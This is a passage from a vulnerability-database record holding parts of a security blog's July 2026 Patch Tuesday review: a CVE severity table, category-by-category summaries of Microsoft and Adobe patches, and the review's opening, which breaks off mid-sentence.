Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:20.362546Z"}, {"uuid": "92d8ffb5-c8ce-446a-b775-9b2329d248d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54983", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP 